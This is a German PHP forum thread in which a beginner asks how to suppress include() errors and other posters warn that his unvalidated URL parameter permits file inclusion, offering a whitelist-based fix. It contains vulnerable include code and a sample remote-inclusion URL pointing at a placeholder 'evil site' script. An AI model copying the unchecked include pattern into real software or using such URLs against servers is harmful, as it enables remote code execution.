Include fehler abfangen?

[fadass]

hi,

also kein problem mit script, das funzt 1A, wollte nur wissen wie man fehler von inclue() abfängt,
ich prbier es so:

<?php
if (!@include $site.'.php')
      {
      echo "Fehler: Die Seite existiert [b]nicht[/b]!
";
      echo '[url="JavaScript:history.back();"]Zurück zur letzten Seite[/url]';
      }
?>

es wird auch alles angezeigt, leider etwas zu viel,

Warning: Failed opening 'news.php' for inclusion (include_path='.;c:\php4\pear') in c:\foxserv\www\wc3\index.php on line 73
404 Fehler: Die Seite existiert nicht!
Zurück zur letzten Seite

das

Fehler: Die Seite existiert nicht!
Zurück zur letzten Seite

soll stehen bleiben, nur der rest net, könnt ihr mir helfen???

danke im voraus!

p.s: Diesmal kein doppelpost, versprochen!!

[Buhmann]

mach doch einfach

<?php
if (!file_exists($site.'.php'))
      {
      echo "Fehler: Die Seite existiert [b]nicht[/b]!
";
      echo '[url="JavaScript:history.back();"]Zurück zur letzten Seite[/url]';
} else {
      include $site.'.php';
}
?>

[edit]

O.o, mein tausendster Post

Ich will aber hoffen, dass $site nicht ungeprüft über die URL in das Script kommt, oder?

Gruß
phpfan

[fadass]

@phpfan, ahhhhh doch is das schlimm?

Dann überlege, was z.B. mit so einem Aufruf passiert:

index.php?site=index

Mir fallen da auch noch andere böse Sachen ein, die ich aber hier lieber nicht schreibe.

<?
     if (isset($_GET['site']))
     {
          switch ($_GET['site'])
          {
              case 'news' : $include = "news.php"; break;
              case 'gbook': $include = "gbook.php"; break;
              default: $include = "home.php";
          }
     }
     else
        $include = "home.php";

     include ($include);
?>

Gruß
phpfan

[fadass]

da wird doch nur ne variable über die url übergeben?? oder net? is doch nix schlimmes

[ZiMD]

index.php?include=http://www.boeseseite.de/boesesscrip


und jetzt?

da wird doch nur ne variable über die url übergeben?? oder net? is doch nix schlimmes

Nochmal!!! Was passiert bei einem Aufruf der Datei index.php, wenn die URL manipuliert wird und so aussieht

index.php?site=index

und in der index.php ungeprüft das steht:

include $site.'.php';

Gruß
phpfan

[fadass]

da wird die seite $site included hia der code

<?php
    if(!isset($site)) $site = "news";

         $mysql_ok = strstr($site,":");
         if($mysql_ok != FALSE) $site = "news";
                      include($site.".php");
      if (!@include $site.'.php')
      {
      echo "Fehler: Die Seite existiert [b]nicht[/b]!
";
      echo '[url="JavaScript:history.back();"]Zurück zur letzten Seite[/url]';
      } 

       
?>

[ZiMD]

hallo?

wenn ers so macht wie in meinem beispiel kann der einfach beliebigen code auf deinem server ausführen!!!!

da wird die seite $site included hia der code

Sag' mal, hast du das Mitdenken komplett abgeschaltet???

Nimm dieses kleine Script, speichere es als test.php ab und rufe es mit test.php?site=test auf:

<?
   echo $_SERVER['PHP_SELF'] . "
";
   
   include ($_GET['site'] . ".php");
?>

Und das ist noch die harmloseste aller Varianten.

Gruß
phpfan

[ZiMD]

und da normalerweise ein timeout eingestellt ist auch nicht besonders schlimm

[fadass]

ach, pfui, egal wird sowiso net online gestellt, is eine intranet site, von daher isses mir egal

ach, pfui, egal wird sowiso net online gestellt, is eine intranet site, von daher isses mir egal

Na, das ist mal eine Begründung, um ein besch.... Script zu schreiben.

Gruß
phpfan

[fadass]

jo, nagut ich sehs ein
ich wer ein anderes script schreiben, trotzdem danke für die warnung